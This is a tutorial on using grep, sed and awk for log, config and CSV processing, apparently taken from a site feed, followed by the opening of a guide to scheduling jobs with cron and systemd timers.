All three tools use regular expressions, in two syntaxes. Basic regular expressions (BRE), the default for grep and sed, treat +, ?, |, ( and ) as ordinary characters, and require a backslash to give them special meaning in GNU versions. Extended regular expressions (ERE), selected with -E for grep and sed, and the default for awk, give those characters their special meaning directly. The POSIX specification defines both, and GNU adds extensions.
grep 'ab\\+c\\|xy' file # BRE with GNU escapes\ngrep -E 'ab+c|xy' file # ERE, same meaning\nsed -E 's/(foo|bar)+/X/' file\nawk '/ab+c|xy/' file\nPrefer -E every time. It reads the way most people expect, it matches what awk and most other languages use, and it removes the backslash soup. The character classes [[:digit:]], [[:space:]] and [[:alpha:]] work in both and are locale-aware. Shorthand such as \\d and \\w is not POSIX; GNU grep supports \\w and \\s as extensions but not \\d outside -P. The POSIX regular expression chapter is the authoritative reference.
The simplest use prints every line that contains the pattern. The options you use most are -n for line numbers, -i to ignore case, -v to invert, -c to count, -w to match whole words, -x to match whole lines and -q for quiet, which only sets the exit status.
grep -n ' 50[0-9] ' access.log\ngrep -c GET access.log\ngrep -E ' (404|50[0-9]) ' access.log | wc -l\n2:198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n5:198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n5\n3\nMatching ` 50[0-9] ` with surrounding spaces avoids matching a size that happens to contain 500, which is the common mistake of grepping for a bare number. The exit status is 0 if any line matched, 1 if none matched and 2 on error, so if grep -q 'pattern' file; then is the standard test. Note that the quiet flag stops reading at the first match, which makes it fast on big files.
-o prints each match instead of the whole line, one per line. It turns grep into an extractor, and combined with sort | uniq -c it gives frequency tables.
grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+' access.log | sort | uniq -c | sort -rn\n 3 203.0.113.9\n 2 198.51.100.4\n 1 192.0.2.77\nThe pattern is deliberately loose: it matches any four dotted numbers, including values like 999.1.1.1, which is fine for extraction from trusted logs and not fine for validation. Validate with a stricter pattern or a purpose-built tool. When a line contains several matches, -o prints all of them, in order, each on its own line, so a count of lines is a count of matches.
Context options show neighbors of a match: -A n after, -B n before, -C n both. File options choose what is searched: -r recurses, --include='*.conf' and --exclude-dir=.git filter, -l prints names of files with matches and -L names of files without.
grep -n -B1 -A1 404 access.log\ngrep -rl widget .\ngrep -rn --include='*.sh' 'set -e' /usr/local/bin\n3-203.0.113.9 - - [05/Nov/2026:10:01:09 +0000] \"POST /api/login HTTP/1.1\" 401 45\n4:192.0.2.77 - - [05/Nov/2026:10:02:11 +0000] \"GET /missing HTTP/1.1\" 404 312\n5-198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\n./sales.csv\nContext lines are marked with a dash after the line number and matching lines with a colon, which helps scripts and eyes tell them apart. Without a file argument, grep -r searches the current directory. With one file, grep omits the file name prefix, and -H forces it, which matters when a script feeds grep a variable number of files.
-w requires the match to sit between non-word characters, so it finds port and not ports or sport. -F treats the pattern as plain text with no special characters, which is both safer for user-supplied strings and faster. -P enables Perl-compatible expressions in GNU grep, giving lookahead, lookbehind, non-greedy quantifiers and \\K to drop the part matched so far.
echo 'port ports sport' | grep -ow port\ngrep -oP '\"\\K[A-Z]+(?= )' access.log | sort | uniq -c\nport\n 5 GET\n 1 POST\nThe second command extracts the HTTP method: \\K discards the opening quote from the match and the lookahead (?= ) requires a space after without consuming it. -P is a GNU extension, absent from BSD grep and BusyBox, and flagged as experimental in the manual. If a script must run on macOS, use -E with a capture group and sed or awk to pull out the group.
A very common job is to see only the active lines of a config file. Invert the match on comment and empty lines.
\ngrep -vE '^\\s*([#;]|$)' app.conf\nhost = db01.internal\nport = 5432\ntimeout=30\nuser = deploy\nThe pattern reads: from the start of the line, optional whitespace, then either a comment character or the end of the line. The \\s shorthand works in GNU grep and sed but is not POSIX; for portability, write [[:space:]]*. The same filter is the first step in most config-parsing scripts, because comments and blank lines are noise for every later stage.
grep is already fast, and the choices that matter are about avoiding work. A fixed string with -F skips the regular expression engine, and LC_ALL=C avoids multibyte decoding, which helps most with case-insensitive or Unicode patterns. -m 1 stops after the first match when only existence matters. Use -l or -q so grep can stop early. In a repository, git grep searches tracked files using the index and skips ignored directories, which is usually faster than grep -r.
time grep -c 'error' big.log\ntime LC_ALL=C grep -cF 'error' big.log\nOn a 54 MB file of three million short ASCII lines in the Debian 12 container, plain grep -c error took 0.115 seconds and LC_ALL=C grep -cF error took 0.110, so for a simple literal the gain was within noise. An awk program doing the same count took 0.252 seconds. Measure on your data before assuming; the locale and fixed-string options pay off on patterns that are case-insensitive or on multibyte text, and on small files startup dominates. Avoid cat file | grep: it adds a process and a copy, and grep can open the file itself. With several patterns, use one -E 'a|b|c' or a pattern file with -f patterns.txt, not several greps in sequence.
sed reads input a line at a time into a buffer called the pattern space, runs the script's commands against it, and prints the result. The default command set is small. The commands to know are s to substitute, d to delete, p to print, a, i and c to append, insert and change lines, y to transliterate characters, and q to quit. A command can be limited by an address: a line number, a range, a regular expression or the last line $.
sed 's/ = /=/' app.conf\nsed -n '2,4p' app.conf\n# main settings\nhost=db01.internal\nport=5432\n; legacy\ntimeout=30\nuser=deploy\nhost = db01.internal\nport = 5432\n; legacy\nThe first command substituted the first occurrence on each line. The second used -n, which suppresses automatic printing, with the p command on lines 2 to 4. Forgetting -n when you use p prints each selected line twice, a rite of passage. The full command set is in the GNU sed manual.
The form is s/pattern/replacement/flags. The most useful flags are g to replace every match on the line, a number to replace only the Nth, i to ignore case, and p to print when used with -n. The replacement can use & for the whole match and \\1 to \\9 for captured groups. Any character can replace the slash as the delimiter, which is the neat way to handle paths.
sed -E 's/^([a-z]+) *= *(.*)$/\\2 <- \\1/' app.conf | tail -4\necho '/usr/local/bin' | sed 's|/usr/local|/opt|'\necho 'a-b-c' | sed 's/-/_/2'\n5432 <- port\n; legacy\n30 <- timeout\ndeploy <- user\nThe first command swaps key and value on each assignment line, leaving comment lines alone because they do not match. Using | as the delimiter in the second avoids escaping every slash in the paths. In the replacement, a literal ampersand must be written \\& and a newline \\n in GNU sed. When the replacement text comes from a shell variable, escape the delimiter, ampersand and backslash in it first, or you will inject sed syntax.
An address selects the lines a command applies to. A number picks one line, $ the last, /regex/ every matching line, and first,last a range. A step 1~2 picks every second line in GNU sed. Add ! after the address to invert it.
sed -n '/host/,/timeout/p' app.conf\nsed '/^[#;]/d;/^$/d' app.conf\nsed '1d;$d' file\nsed '5,$!d' file\nhost = db01.internal\nport = 5432\n; legacy\ntimeout=30\nhost = db01.internal\nport = 5432\ntimeout=30\nuser = deploy\nA regex range starts on the first matching line and ends on the next line that matches the second pattern, and if the end pattern never appears the range runs to the end of the file. That is a handy way to extract a section of a config file, and a dangerous way to delete one if the end marker is missing. Preview with -n ... p before you change a file.
The one-line commands a, i and c add text after, before or in place of the selected line. In GNU sed they can be written on one line, a text. BSD sed requires the text on the next line, so portable scripts put it there or use a different approach.
sed '/^user/a\\role = admin' app.conf | tail -2\nsed '/^port/c\\port = 6432' app.conf | sed -n 3p\nsed '/legacy/d' app.conf | wc -l\nuser = deploy\nrole = admin\nFor multi-line insertions, the portable pattern is a backslash at the end of each line of text. When the text is long, a here document and a second tool are clearer than a crowded sed script. Keep the edit commands simple, and when a script needs more than a few lines, write it to a file and call sed -f script.sed.
sed -i rewrites the file instead of printing. It creates a temporary file, writes the result, and renames it over the original, which means the file's inode changes and hard links to it are broken. Give it a suffix to keep a backup of the original.
cp app.conf t.conf\nsed -i.bak 's/^port.*/port = 6432/' t.conf\ndiff t.conf.bak t.conf\n3c3\n< port = 5432\n---\n> port = 6432\nOn Linux with GNU sed, -i with no suffix works. On macOS and the BSDs, it requires a suffix argument, possibly an empty string written as a separate word (sed -i '' 's/a/b/'), which GNU sed then misreads as the script. The one portable form is attached suffix: -i.bak. After a successful edit, delete the backups if you do not want them. Always test an in-place edit without -i first, then use diff to verify.
sed has a second buffer, the hold space, that persists between lines. The commands h and H copy or append the pattern space to it, g and G copy or append it back, and x swaps them. They let sed remember a line and are the reason a short sed script can do things like reversing a file. They also make scripts hard to read, so use them sparingly.
printf '1\\n2\\n3\\n' | sed -n '1!G;h;$p'\n3\n2\n1\nRead the script as: on every line except the first, append the hold space to the pattern space; copy the pattern space to the hold space; on the last line, print. Each line is placed before everything seen so far, which reverses the file. The equivalent tac is clearer, and so is awk with an array. The lesson is not to write such scripts but to recognise the tool's limit: when you reach for the hold space, ask if awk would read better.
sed processes one line at a time, so patterns cannot span a newline unless you collect lines. The N command appends the next line to the pattern space, and -z in GNU sed treats the whole file as one line by using NUL as the separator. Both let a regex match across lines.
sed -z 's/\\n\\n*/\\n/g' file\nsed ':a;N;$!ba;s/\\n/,/g' file\npaste -sd, file\nThe second command joins all lines with commas: label a, append the next line, and branch back to a until the last line. The third command does the same with paste, which is shorter and easier to read; this is a recurring pattern, where sed can do a job but a dedicated tool is simpler. Case conversion is another: GNU sed has \\U, \\L and \\u in replacements, which BSD sed lacks, so for portable work use tr or awk's toupper.
An awk program is a list of pattern { action } pairs. For each input line, awk splits the line into fields, then runs the action of every pattern that matches. A missing pattern matches every line; a missing action prints the line. Special patterns BEGIN and END run before the first line and after the last. Fields are $1, $2, and so on, $0 is the whole line, and built-in variables include NR (line number), NF (field count) and FS (field separator).
awk '{print $1, $9}' access.log | head -3\nawk '$9 >= 500 {print $1, $7}' access.log\nawk 'NF {n++} END {print n \" non-empty\"}' app.conf\n203.0.113.9 200\n198.51.100.4 500\n203.0.113.9 401\n198.51.100.4 /api/users\n198.51.100.4 /api/users\n6 non-empty\nThe second program is the whole idea in one line: a condition on a field, then an action using other fields. Awk converts a field to a number when a numeric comparison needs it, so $9 >= 500 compares as numbers, whereas two fields that look like numbers compared with each other use string comparison unless they are clearly numeric. The GNU Awk User's Guide is the definitive reference and unusually readable.
By default, awk splits on runs of blanks and ignores leading ones. Set a different separator with -F or by assigning FS. A single character is taken literally, except that a space is special; a longer string is a regular expression. The output separator is OFS, used by print a, b, and it only takes effect when you print fields as a list or reassign a field to force awk to rebuild $0.
awk -F' *= *' '/^[a-z]/ {print $1 \"=\" $2}' app.conf\nawk -F, 'NR==1 {print toupper($0); next} {printf \"%s:%d\\n\", $2, $3}' sales.csv | head -3\nawk 'BEGIN {FS=\":\"; OFS=\"\\t\"} {print $1, $7}' /etc/passwd | head -2\nhost=db01.internal\nport=5432\ntimeout=30\nuser=deploy\nREGION,PRODUCT,UNITS,PRICE\nwidget:10\ngadget:4\nThe first command splits on an equals sign with optional spaces around it, which normalises the two spacing styles in the sample config. The second skips the header row with next. Using FS in a BEGIN block is equivalent to -F and is better inside a script file. Use -F'\\t' or -F'\\\\t' for tab-separated data, and note that mawk, gawk and BSD awk differ in how they treat escapes in -F.
Variables are created on first use, hold strings or numbers, and are initialised to empty or zero. Arrays are associative: keys are strings, so count[$1]++ builds a frequency table without declaring anything. The for (key in array) loop visits keys in no guaranteed order, so pipe through sort when order matters.
awk '{b[$1]+=$10} END {for (i in b) print i, b[i]}' access.log | sort\nawk -F, 'NR>1 {t[$1]+=$3*$4} END {for (r in t) printf \"%-6s %7.2f\\n\", r, t[r]}' sales.csv | sort\nawk '!seen[$1]++ {print $1}' access.log\n192.0.2.77 312\n198.51.100.4 87\n203.0.113.9 25645\neast 30.00\nnorth 95.00\nsouth 47.50\n203.0.113.9\n198.51.100.4\n192.0.2.77\nThe first sums bytes per client. The second computes revenue per region from units and price, formatting with printf. The third is the famous de-duplicator: seen[$1]++ evaluates to the old count (0 on first sight, which is false) and increments it, so !seen[$1]++ is true exactly once per key, and unlike sort -u it preserves the original order. These three one-liners cover a large share of real log and CSV questions.
Do not splice shell variables into the program text; pass them with -v, which handles quoting and keeps the program in single quotes. Variables set with -v are available in BEGIN. Assignments written as arguments between files take effect when awk reaches them.
awk -v min=400 '$9 >= min {c++} END {print c+0}' access.log\nthreshold=500\nawk -v t=\"$threshold\" '$9 >= t' access.log\nawk '{print FILENAME \": \" $1}' access.log app.conf | head -2\n4\n198.51.100.4 - - [05/Nov/2026:10:01:03 +0000] \"GET /api/users HTTP/1.1\" 500 87\n198.51.100.4 - - [05/Nov/2026:10:02:30 +0000] \"GET /api/users HTTP/1.1\" 502 0\naccess.log: 203.0.113.9\naccess.log: 198.51.100.4\nAdding +0 to c in the first program prints 0 instead of an empty string when nothing matched, since an uninitialised variable is empty until used as a number. A -v value goes through escape processing, so a backslash in it is interpreted; for arbitrary text, pass it through the environment and read ENVIRON[\"name\"], which is not processed.
awk has C-like control flow: if/else, while, for, break, continue. It has string functions (length, substr, index, split, sub, gsub, match, sprintf, tolower, toupper) and numeric ones (int, sqrt, exp, log, rand). You can define your own functions. printf works like the C and shell version and does not add a newline.
awk 'function human(n) {\n split(\"B KB MB GB\", u); i = 1\n while (n >= 1024 && i < 4) { n /= 1024; i++ }\n return sprintf(\"%.1f %s\", n, u[i])\n }\n {total += $10} END {print human(total)}' access.log\n25.4 KB\nThe function turns a byte count into a readable size, using split to build a unit array. Array indexes in awk start at 1 by convention for functions like split. Local variables in a function are declared as extra parameters, which is an awk quirk to know about when a function seems to leak values.
A range pattern /start/,/end/ matches from the first line that matches the start to the next one that matches the end, like sed's. Two-file idioms use NR==FNR: NR is the total line number and FNR the line number within the current file, so they are equal only while reading the first file. That makes a lookup join possible.
awk '/10:02:/,/10:03:/' access.log | wc -l\nawk -F, 'NR==FNR {p[$1]=$2; next} {print $1, p[$1]}' regions.csv sales.csv\n3\nnorth N\nsouth S\nThe join loads the first file into an array, then for each line of the second looks up the key. getline reads input explicitly, from a file or from a command, but its many forms are a source of subtle bugs; prefer the two-file idiom, and read the manual before using getline in a loop. For joining by a sorted key without loading memory, the standard join command is the alternative.
The word awk names several programs. On Debian and Ubuntu the default is mawk, a small and fast implementation of POSIX awk; Fedora and Arch use gawk, the GNU version with many extensions; macOS ships a BSD-derived one-true-awk. The POSIX subset works in all of them, and gawk adds gensub, true multidimensional arrays, asort, time functions strftime and systime, FPAT for CSV-like parsing, BEGINFILE and the --csv mode introduced in 5.3.
awk --version | head -1\nmawk -W version 2>&1 | head -1\ngawk '{print gensub(/\\[([^:]*):.*/, \"\\\\1\", 1, $4)}' access.log | head -2\nGNU Awk 5.2.1, API 3.2, PMA Avon 8-g1, (GNU MPFR 4.2.0, GNU MP 6.2.1)\nmawk 1.3.4 20200120\n05/Nov/2026\n05/Nov/2026\nThe first line is what awk reported after installing the gawk package on Debian, which replaces mawk as the awk alternative. Write for POSIX awk unless the script declares gawk in its shebang or documentation, and test with mawk and BusyBox awk, which are the most restrictive. The portable-shell guide at POSIX sh versus Bash shows the testing setup that works for these as well.
Each tool does its own part and passes plain text on. grep narrows, sed normalises, awk computes. Order the stages so the cheapest, most selective one runs first and the data shrinks early.
\ngrep -E '\"(GET|POST) /api/' access.log \\\n | sed -E 's/\\?[^ ]*//' \\\n | awk '{c[$7]++; if ($9 >= 500) e[$7]++}\n END {for (p in c) printf \"%-12s %d requests %d errors\\n\", p, c[p], e[p]+0}' \\\n | sort\n/api/login 1 requests 0 errors\n/api/users 2 requests 2 errors\nThe grep keeps only API calls, the sed removes any query string so that /api/users?page=2 and /api/users count as one path, and awk counts requests and errors per path. Splitting jobs this way keeps each stage testable on its own: run the pipeline up to a stage and look at the output. As a pipeline grows past four stages, ask whether one awk program would be clearer; awk can do the select and normalise steps itself, and reading the file once is faster.
Turn the access log into a one-screen report: total requests, error rate, the busiest client and the transferred size. One awk program does it in one pass.
\nawk '\n { total++; bytes += $10; client[$1]++ }\n $9 >= 500 { errors++ }\n END {\n top = \"\"; max = 0\n for (c in client) if (client[c] > max) { max = client[c]; top = c }\n printf \"requests: %d\\n\", total\n printf \"5xx errors: %d (%.1f%%)\\n\", errors, 100 * errors / total\n printf \"busiest: %s (%d)\\n\", top, max\n printf \"bytes: %d\\n\", bytes\n }' access.log\nrequests: 6\n5xx errors: 2 (33.3%)\nbusiest: 203.0.113.9 (3)\nbytes: 26044\nThe program has three kinds of rules. The first runs on every line and accumulates. The second has a condition, so it only counts server errors. The END block finds the maximum and prints. If the file has no 5xx lines, errors is empty and prints as 0 with %d, but dividing by an uninitialised value works because awk treats it as zero; guard the division by total in case of an empty file, or the program reports a division by zero error.
Change port in a config to a new value, only if the key exists, and keep a backup. Check, edit, verify.
#!/usr/bin/env bash\nset -euo pipefail\nfile=\"$1\"; new=\"$2\"\ngrep -qE '^port[[:space:]]*=' \"$file\" || { echo \"no port key in $file\" >&2; exit 1; }\nsed -i.bak -E \"s/^(port[[:space:]]*=[[:space:]]*).*/\\\\1${new}/\" \"$file\"\ngrep -E '^port' \"$file\"\ndiff \"$file.bak\" \"$file\" || true\n$ ./setport.sh t.conf 6432\nport = 6432\n3c3\n< port = 5432\n---\n> port = 6432\nThe grep guard stops the script from silently doing nothing on a file without the key. The substitution keeps the key and its spacing with the capture group and replaces only the value. Because ${new} is inserted into the sed script, the script should validate it first: a value containing a slash or an ampersand would break or alter the command, so check [[ $new =~ ^[0-9]+$ ]] for a port. Quoting rules for this kind of input are the topic of the shell script security guide.
Revenue by region and product from the sales file, as a sorted table with a total line. The awk uses the multidimensional-style key trick to group on two columns at once.
\nawk -F, 'NR > 1 { r = $3 * $4; sum[$1 \",\" $2] += r; all += r }\n END { for (k in sum) printf \"%-14s %8.2f\\n\", k, sum[k]\n printf \"%-14s %8.2f\\n\", \"TOTAL\", all }' sales.csv | sort -k2 -nr\nTOTAL 172.50\nnorth,gadget 70.00\nsouth,gadget 40.00\neast,widget 30.00\nnorth,widget 25.00\nsouth,widget 7.50\nBecause the separator is a comma, the composite key is built by concatenating fields with a comma, and the sort at the end places the total first. This works on this file because no value contains a comma or a quote. The moment a field like \"Smith, Jane\" appears, the split is wrong, which is the subject of the CSV note under the limits below.
The same idea is often spelled three ways, and a short table saves a trip to the manual. The table lists what GNU grep, GNU sed and gawk accept on Debian 12; POSIX-only systems accept the first column of each row.
\n| Meaning | BRE (default grep, sed) | ERE (-E, awk) |
|---|---|---|
| Any one character | . | . |
| Zero or more | * | * |
| One or more | \\+ (GNU) | + |
| Zero or one | \\? (GNU) | ? |
| Alternation | \\| (GNU) | | |
| Group | \\( \\) | ( ) |
| Repeat n to m | \\{n,m\\} | {n,m} |
| Digit class | [[:digit:]] | [[:digit:]] |
| Start and end of line | ^ and $ | ^ and $ |
| Word boundary | \\b (GNU) | \\y in gawk, \\b in grep -E |
Two behaviors are shared across all of them and surprise newcomers. Matches are greedy and leftmost: the engine finds the match that starts earliest and, among those, takes the longest. And without an anchor a pattern matches anywhere in the line, so /error/ also matches terrors. Add \\b, -w or explicit anchors when whole words matter. The POSIX rule for leftmost-longest differs from Perl, where alternation takes the first alternative that works, so a pattern like a|ab matches ab in grep -E and only a in Perl.
When a pattern or replacement comes from a variable, the characters in it become syntax. A search term containing ., *, [ or / changes what grep and sed do. For grep, -F makes the variable literal. For sed, escape the three characters that matter in a replacement, and for the pattern the set of regex metacharacters, or avoid the problem by moving the logic into awk, where a string comparison with == or index() is literal.
needle='price (USD)'\ngrep -F -- \"$needle\" prices.txt\nawk -v n=\"$needle\" 'index($0, n) {print}' prices.txt\nescape_sed() { printf '%s' \"$1\" | sed -e 's/[\\/&]/\\\\&/g'; }\nsed \"s/old/$(escape_sed \"$replacement\")/\" file\nThe -- before the pattern stops a needle starting with a dash being read as an option. Treat any value that came from a user, a web request or a file name as untrusted data: a replacement containing a newline can add a second sed command in some versions, and an unescaped delimiter can end the substitution early. The injection cases are collected in the shell script security guide.
To change text across a project, combine grep to find the files and sed to edit them, instead of running sed on everything. This touches only files that match, so unchanged files keep their timestamps and do not show up in version control as modified.
\ngrep -rlZ --include='*.conf' 'old.example.org' . \\\n | xargs -0 sed -i.bak 's/old\\.example\\.org/new.example.org/g'\ngit diff --stat\nfind . -name '*.bak' -delete\nThe -Z flag prints names separated by NUL bytes and xargs -0 reads them, so file names with spaces survive. The dots in the pattern are escaped so that they match literal dots, not any character. Review the result with git diff before committing, and delete the backups only after you have looked. In a Git repository, git grep -lz is a faster source of the file list that skips ignored files.
Several single-purpose tools sit next to the big three and are better for their one job. cut -d, -f1,3 picks columns from a clean delimited file. tr -d '\\r' removes Windows carriage returns, tr -s ' ' squeezes repeated spaces and tr a-z A-Z changes case. paste -sd, joins lines with a comma, as shown above. sort -u, sort -k2,2n and uniq -c order and count. comm, join and diff compare. Using the dedicated tool makes the intent obvious, and the line reads like a sentence.
tr -d '\\r' < windows.txt > unix.txt\ncut -d, -f1 sales.csv | tail -n +2 | sort | uniq -c\npaste -sd, <(cut -d, -f2 sales.csv | tail -n +2 | sort -u)\n 1 east\n 2 north\n 2 south\ngadget,widget\nWhen a task needs two of these joined by an intermediate file, or a computation, move up to awk. A good rule is that the first time you reach for a temporary file in a pipeline, awk or a script probably fits better.
\n\nRun the pipeline one stage at a time and read the output of each. Replace -i with printing while testing. For awk, add print statements to standard error, such as print \"x=\" x > \"/dev/stderr\", and use NR to limit the run to a few lines. gawk offers --lint to warn about suspicious constructs and --debug for an interactive debugger. For sed, GNU sed has --debug, which prints the canonical form of the script and traces each command, and sed --posix disables GNU extensions to check portability.
awk --lint '{ total += $10 } END { print totl }' access.log\nsed --debug 's/GET/FETCH/' access.log | head -6\nThe lint run flags that totl is used but never set, which is how a typo in a variable name shows up: awk otherwise prints an empty string without complaint. When a regex seems not to match, print the field it should be matching with printf '[%s]\\n', $3; square brackets reveal trailing spaces and carriage returns. The broader techniques are in the guide to debugging shell scripts.
Text tools follow the locale for character classes, sorting and case. In a UTF-8 locale, . matches a whole character and [[:alpha:]] includes accented letters; in the C locale each byte is a character. A script that behaves on a developer's laptop and differently under cron is often a locale difference, because cron runs with a minimal environment. Set LC_ALL=C when you want byte semantics and stable sort order, and LC_ALL=C.UTF-8 or en_US.UTF-8 when you need Unicode-aware matching and the locale exists.
Windows line endings are the other invisible variable. A file with CRLF ends each line with a carriage return that is part of the last field, so $NF == \"ok\" fails and a pattern ending in $ never matches. Strip it first with tr -d '\\r', or in awk by setting RS=\"\\r?\\n\" in gawk. Use file to confirm the line endings of a file when output looks right but comparisons fail.
All three tools have exit statuses that a script must treat deliberately. grep's 1 for no match is not an error but will stop a script running with set -e or pipefail. sed returns 0 even when its substitution matched nothing, so a script cannot tell success from a no-op without checking the result. awk returns 0 unless the program calls exit n or hits a runtime error. Make the intent explicit.
set -euo pipefail\ncount=$(grep -c ERROR app.log || true)\ngrep -q '^port' app.conf || { echo \"port missing\" >&2; exit 1; }\nawk 'END { exit (NR == 0) }' app.log || echo \"log was empty\"\nThe last line uses awk's exit status to signal an empty file, a handy way to carry a condition out of an awk program. Remember that under pipefail a pipeline such as grep ... | head -1 can fail with status 141 when head closes the pipe early; test for the condition you care about instead of relying on the pipeline's final status.
Ask three questions in order. Does the task only need to know whether, or which, lines match? Use grep, and stop there. Does it need to alter the text and pass the rest through untouched? Use sed. Does it need the columns, a running total, a lookup or a decision per line? Use awk. If the answer to the first question is yes and you also need part of the line, take grep with -o and a capture-free pattern first, and move to awk only when that cannot express it. The choice is rarely permanent: a one-liner that starts as grep often grows into awk after the third request for a new column, and that is the right time to switch, since the work you did on the pattern carries over unchanged.
grep ^a b* file is expanded by the shell. Use single quotes.-n with sed p. Every selected line prints twice..* runs to the last occurrence. Use [^\"]* or a more specific class.grep where a fixed string is meant. A dot in grep 1.5 matches any character. Use -F.sed -i on macOS. Needs a suffix. Use -i.bak.grep | wc -l when grep -c will do. And note -c counts lines, not matches.+0.sed ... file > file truncates it first. Write to a new file or use -i.The last one destroys data silently: the shell truncates the output file before sed starts, so sed reads an empty file. Always write to a temporary name and rename, or let sed -i do it.
JSON and XML. Regexes cannot reliably parse nested structures, and a pipeline of sed commands on JSON breaks the first time a value contains a quote or a newline. Use jq for JSON and xmllint or xmlstarlet for XML.
Quoted CSV. Fields with embedded commas, newlines or doubled quotes defeat -F,. Use gawk with FPAT, gawk 5.3's --csv, Miller, csvkit or Python's csv module.
Binary files and mixed encodings. These tools assume text. grep reports binary file matches on standard error and awk and sed may misbehave on invalid multibyte sequences; set LC_ALL=C or convert with iconv first.
Large transformations with logic. When an awk program passes about fifty lines or needs functions, data structures and tests, write it in Python or Go. The line is not about capability, since awk is Turing complete, but about maintainability.
\nVery large files with simple needs. For a single count or filter over tens of gigabytes, a purpose-built tool such as ripgrep can be much faster than GNU grep with a complex pattern.
\n\nThe next step in text processing is the pattern language itself, covered in the regular expressions in shell tools guide, which compares the dialects in grep, sed, awk and Bash. To turn these one-liners into reliable scripts, read the Bash scripting tutorial, and to find out why a pipeline gives the wrong answer, the debugging guide. The wider toolbox these three sit in is the Linux command line guide.
\nPrimary sources used here: the GNU grep manual, the GNU sed manual, the GNU Awk User's Guide, the POSIX awk specification, the POSIX sed specification, the POSIX grep specification, the POSIX regular expressions chapter, RFC 5737 for the documentation address blocks and the mawk manual.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Command Line"]},{"id":"https://shellhacks.dev/library/automate-tasks-cron-systemd","url":"https://shellhacks.dev/library/automate-tasks-cron-systemd","title":"Automate Recurring Work With Cron and systemd Timers","summary":"Automate tasks with cron and systemd timers: crontab syntax, timer units, locking, logging, missed runs, time zones and how to move from one to the other.","content_html":"Scheduling is where a script stops being something you run and becomes something that runs. Linux gives you two main ways to do it. Cron has been scheduling commands since the 1970s and is still on nearly every system. A systemd timer is the newer mechanism on systems that use systemd, and it fixes most of cron's rough edges at the cost of two files per job. This guide covers both, with the failure modes of each, and ends with how to choose and how to move a job from one to the other. The examples ran on Debian 12 with cron 3.0pl1 and systemd 252, and the timer expressions were checked with systemd-analyze. The scripts being scheduled are written as in the Bash scripting tutorial.
The guide covers the cron model, the crontab syntax, the environment cron provides, logging and mail, overlapping runs, the same job as a systemd timer, calendar expressions, catching up after downtime, time zones, hardening the service, monitoring, and a set of real jobs.
\n\nA scheduler is a long-running process that wakes at the right moments and starts other programs. It does not run your job inside a login session, which is the root of most scheduling problems: the job has no terminal, no interactive shell, no ssh-agent, no desktop session and none of the environment variables you set in ~/.bashrc. Anything the script quietly depended on while you tested it by hand has to be stated explicitly. Keep that in mind throughout. The scheduler's responsibility ends at starting the program; everything after that, including noticing a failure, is yours to design.
Two kinds of schedule exist. Calendar schedules fire at wall-clock times such as \"02:30 every day\" and are what cron expresses. Monotonic schedules fire a duration after some event, such as \"ten minutes after boot\" or \"one hour after the last run finished\", and are available only in systemd timers. Most recurring operational work is calendar based. Work that should never overlap or pile up is better described by \"an interval after the last finish\", which is awkward in cron.
\n\nA crontab is a text file in which each line has five time fields, then the command. The fields are minute (0 to 59), hour (0 to 23), day of month (1 to 31), month (1 to 12 or names) and day of week (0 to 7, where both 0 and 7 are Sunday, or names). An asterisk means every value, a comma separates a list, a dash gives a range, and /n is a step.
# minute hour dom month dow command\n30 2 * * * /usr/local/bin/backup.sh\n*/15 * * * * /usr/local/bin/poll.sh\n0 9 * * 1-5 /usr/local/bin/report.sh\n0 4 1 * * /usr/local/bin/monthly.sh\n@reboot /usr/local/bin/on-boot.sh\nThe first line runs at 02:30 every day. The second runs every 15 minutes. The third runs at 09:00 on weekdays. The fourth runs at 04:00 on the first of each month. The special @reboot string runs once when the cron daemon starts. Vixie cron and its descendants also accept @hourly, @daily, @weekly, @monthly and @yearly. The full format is documented in crontab(5).
When both the day-of-month and day-of-week fields are restricted, standard cron runs the job when either matches, not when both do. A line meaning \"the first Monday of the month\", written as 0 9 1-7 * 1, actually runs on days 1 to 7 and also on every Monday. This is specified behavior, not a bug, and it surprises almost everyone once.
# runs on the 1st to the 7th AND every Monday\n0 9 1-7 * 1 /usr/local/bin/job.sh\n\n# the first Monday only: run daily on days 1 to 7 and test the weekday in the command\n0 9 1-7 * * [ \"$(date +\\%u)\" = 1 ] && /usr/local/bin/job.sh\nThe second form tests the weekday in the command itself. Note the escaped percent sign: in a crontab, an unescaped % in the command is converted to a newline, and everything after the first one is sent to the command as standard input. That is the cause of countless broken date +%F jobs. Either escape each percent with a backslash, or put the logic in a script file and call the script, which is the better habit anyway.
Each user has a crontab edited with crontab -e, listed with crontab -l and removed with crontab -r. The last one has no confirmation and sits one key away from -e on a keyboard, which has wiped many a schedule; keep your crontab in version control and install it from there. The system also reads /etc/crontab and files in /etc/cron.d/, which have an extra sixth field naming the user to run as. Only root can write those.
# /etc/cron.d/nightly-backup\nSHELL=/bin/bash\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nMAILTO=ops@example.org\n\n30 2 * * * backup /usr/local/bin/backup.sh -k 7 /srv/data\nFiles in /etc/cron.d must be owned by root, not writable by group or others, and have names containing only letters, digits, underscores and hyphens. A file named backup.sh or backup.cron with a dot is silently ignored by Debian's cron, a rule that is a common source of the familiar complaint that a cron.d file does nothing. The same naming rule applies to the scripts dropped into /etc/cron.daily and its siblings, which are run by run-parts.
Cron runs commands with HOME, LOGNAME and SHELL set, PATH limited to /usr/bin:/bin on Debian, and the shell set to /bin/sh, which is dash on Debian. It reads none of your dotfiles. That means three habits. Use absolute paths for every program and file. Set PATH and SHELL at the top of the crontab when the job needs them. And begin scripts with their own set -euo pipefail and explicit PATH, so they behave the same wherever they start.
#!/usr/bin/env bash\n# Print what a scheduled job actually sees.\n{\n date\n id\n pwd\n echo \"SHELL=$SHELL\"\n echo \"PATH=$PATH\"\n env | sort\n} > /tmp/cron-env.txt 2>&1\nSchedule this script once, read /tmp/cron-env.txt afterwards, and compare it to your interactive env. The difference is the list of things your script will trip over. A working directory of $HOME instead of the script's directory is another frequent surprise: change into the right directory at the top of the script with cd -- \"$(dirname -- \"$0\")\".
